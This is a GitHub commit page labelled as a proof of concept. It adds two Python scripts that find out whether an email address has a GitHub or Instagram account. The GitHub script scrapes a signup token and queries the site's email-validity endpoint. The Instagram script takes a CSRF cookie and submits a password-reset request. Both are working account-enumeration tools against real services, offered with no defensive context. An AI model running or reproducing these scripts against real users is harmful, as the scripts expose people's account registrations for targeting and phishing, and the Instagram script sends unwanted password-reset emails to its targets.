Skip to content

Commit ca51a50

Browse files
committed
PoC: initial commit
1 parent 955851a commit ca51a50

File tree

2 files changed

+86
-0
lines changed

2 files changed

+86
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
import asyncio
2+
import httpx
3+
import re
4+
5+
async def check_email(email):
6+
headers = {
7+
"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
8+
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
9+
"referer": "https://github.com/signup"
10+
}
11+
12+
async with httpx.AsyncClient(headers=headers, http2=True, follow_redirects=True) as client:
13+
res = await client.get("https://github.com/signup")
14+
15+
token_match = re.search(r'name="authenticity_token" value="([^"]+)"', res.text)
16+
if not token_match:
17+
return "Token not found"
18+
19+
token = token_match.group(1)
20+
21+
data = {
22+
"authenticity_token": token,
23+
"value": email
24+
}
25+
26+
post_headers = {"accept": "*/*", "x-requested-with": "XMLHttpRequest"}
27+
response = await client.post("https://github.com/email_validity_checks", data=data, headers=post_headers)
28+
29+
if not "The email you have provided is already associated with an account." in response.text:
30+
return f"[+] {email} is not REGISTERED"
31+
else:
32+
return f"[-] {email} is Registerd"
33+
34+
async def main():
35+
email_to_test = input("Enter the email: ")
36+
result = await check_email(email_to_test)
37+
print(result)
38+
39+
if __name__ == "__main__":
40+
asyncio.run(main())
41+
42+
43+
44+
45+
46+
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
import asyncio
2+
import httpx
3+
4+
async def check_instagram(email):
5+
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
6+
async with httpx.AsyncClient(headers={"user-agent": ua}, http2=True) as client:
7+
await client.get("https://www.instagram.com/")
8+
csrf = client.cookies.get("csrftoken")
9+
10+
headers = {
11+
"x-csrftoken": csrf,
12+
"x-ig-app-id": "936619743392459",
13+
"x-requested-with": "XMLHttpRequest",
14+
"referer": "https://www.instagram.com/accounts/password/reset/"
15+
}
16+
17+
resp = await client.post(
18+
"https://www.instagram.com/api/v1/web/accounts/account_recovery_send_ajax/",
19+
data={"email_or_username": email},
20+
headers=headers
21+
)
22+
23+
data = resp.json()
24+
if data.get("status") == "ok":
25+
return f"[!] {email} -> USED (Account exists)"
26+
return f"[*] {email} -> NOT USED"
27+
28+
if __name__ == "__main__":
29+
target = input("Enter the Email: ")
30+
print(asyncio.run(check_instagram(target)))
31+
32+
33+
34+
35+
36+
37+
38+
39+
40+

0 commit comments

Comments
 (0)